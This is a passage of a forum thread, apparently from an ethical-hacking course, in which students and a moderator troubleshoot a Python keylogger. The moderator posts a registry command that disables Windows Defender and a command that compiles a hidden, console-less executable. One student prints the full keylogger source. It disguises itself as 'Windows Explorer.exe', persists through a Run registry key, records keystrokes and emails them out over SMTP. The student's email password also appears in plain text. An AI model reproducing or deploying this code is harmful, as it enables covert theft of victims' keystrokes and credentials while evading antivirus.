Viewing 12 posts - 16 through 27 (of 27 total)
  • Author
    Posts
  • #43910
    sultand
    Participant

    Dear Diego,

    Thank you for your reply, I look forward to hear from you.

    SultanD

    #43989
    Diego PérezDiego Pérez
    Moderator

    Hi Sultand!

    I tested your code and work as expected! The persistent function you wrote worked fine, I just have to disable permanently defender and it worked. I didn’t change anything in it but the credentials for the email, by the way remove the file that has your email credentials from dropbox, we never know.

    I compile it from kali without issues. The command used for permanently disable defender is: (You have to open a command prompt as Administrator)

    REG ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender” /v DisableAntiSpyware /t REG_DWORD /d 1 /f

    You can reboot from the windows menu, just click the windows icon in bottom left corner and select restart, then this time defender will be disabled by default.

    Hope it helps!
    Diego

    #44131
    sultand
    Participant

    Dear Diego,

    I followed your instruction and tried to permanently disable defender and I got error message, I then use windows security to disable the real-time protection and try to run the keylogger and I am still get a fatal error detected ‘failed to execute script zlogger’

    Can you make a short video showing me how you are able to make the keylogger persistent, it will really help me because this is the most important thing for me in this course.

    Once again thank you for your time and efforts.

    Sultan.

    #44134
    Diego PérezDiego Pérez
    Moderator

    Hi!
    As mentioned before I dind’t changed anything in your code, it actually works. I just compiled it in kali. Which commands are you using for compiling it?
    I think the error is there.

    Let me know.
    Diego

    #44188
    sultand
    Participant

    Hi Diego,

    Here is the command i used to compile the keylogger.

    https://postimg.cc/9RTNj4xZ

    Sultand

    #44195
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Which file is zlogger.py? Is it the one calling the class? Because the ones you shared had a different name so don’t exactly know.

    Let me know.
    Diego

    #44199
    sultand
    Participant

    Hi Diego,

    Yes the zlogger.py is the one calling the class.

    Can you show me how you complied it and it worked for you.

    Thank you

    Sultand

    #44217
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Yeah, the files you shared were labeled Keylogger_1.py, which has the class, and Keylogger_2.py which is the one who call the class.
    So I put them in the same directory, change the call inside Keylogger_2.py to call the proper Keylogger_1.py class, then enter my email credentials in the script and finally run the command:

    wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe Keylogger_2.py –onefile –noconsole

    Then I sent the executable inside the dist directory and it worked.

    Hope it helps!
    Diego

    #44270
    sultand
    Participant

    Hi Diego,

    The files i shared with you is labeled keylogger.py which has the class and zlogger.py is the one that calls the class. For me it also in the same directory but giving me fatal error.

    My problem is only when i want to make it persistent because before then, it worked fine.

    Please can you make a quick short video showing how you made yours persistent so that I can follow your steps.

    Thank you.

    Sultand

    #44281
    Diego PérezDiego Pérez
    Moderator

    Hi!

    As mentioned I only used your code, compiled it in kali and ran it in windows. There’s no trick or anything extra. Just disable defender before running it and make shure your windows machine has internet access.

    Maybe try with this article to permanently disable defender:
    https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10

    Hope it helps!
    Diego

    #204259
    Sylvester Peter
    Participant

    Hello Sir, I’m having this Error when i run my keylogger persistent. Please can you check it and correct my mistakes as I am not able to get it to work, giving fetal error message

    Here’s the Codes i used…. also screenshot attached…

    #!/usr/bin/env python

    import pynput.keyboard

    import threading

    import smtplib

    import subprocess

    import os

    import sys

    import shutil

    class Keylogger:

    def __init__(self, time_interval, email, password):

    self.become_persistent()

    self.log = “Keylogger started”

    self.interval = time_interval

    self.email = email

    self.password = password

    def become_persistent(self):

    evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”

    if not os.path.exists(evil_file_location):

    shutil.copyfile(sys.executable, evil_file_location)

    subprocess.call(“reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “” + evil_file_location + “” shell=True)

    def append_to_log(self, string):

    self.log = self.log + string

    def process_key_press(self, key):

    try:

    current_key = str(key.char)

    except AttributeError:

    if key == key.space:

    current_key = ” ”

    else:

    current_key = ” ” + str(key) + ” ”

    self.append_to_log(current_key)

    def report(self):

    self.send_mail(self.email, self.password, “\n\n” + self.log)

    self.log = “”

    timer = threading.Timer(self.interval, self.report)

    timer.start()

    def send_mail(self, email, password, message):

    server = smtplib.SMTP(“smtp.gmail.com”, 587)

    server.starttls()

    server.login(email, password)

    server.sendmail(email, email, message)

    server.quit()

    def start(self):

    keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)

    with keyboard_listener:

    self.report()

    keyboard_listener.join()

    ===================================
    ZLogger Function Part Below

    #!/usr/bin/env python
    import keylogger

    my_keylogger = keylogger.Keylogger(120, “[email protected]”, “npsalanlcdxlqbve”)
    my_keylogger.start()

    Attachments:
    You must be logged in to view attached files.
    #204450
    Diego PérezDiego Pérez
    Moderator

    Hi!
    I have already answered your other question. Avoid asking the same in different threads.

    Greetings!
    Diego

Viewing 12 posts - 16 through 27 (of 27 total)
  • You must be logged in to reply to this topic.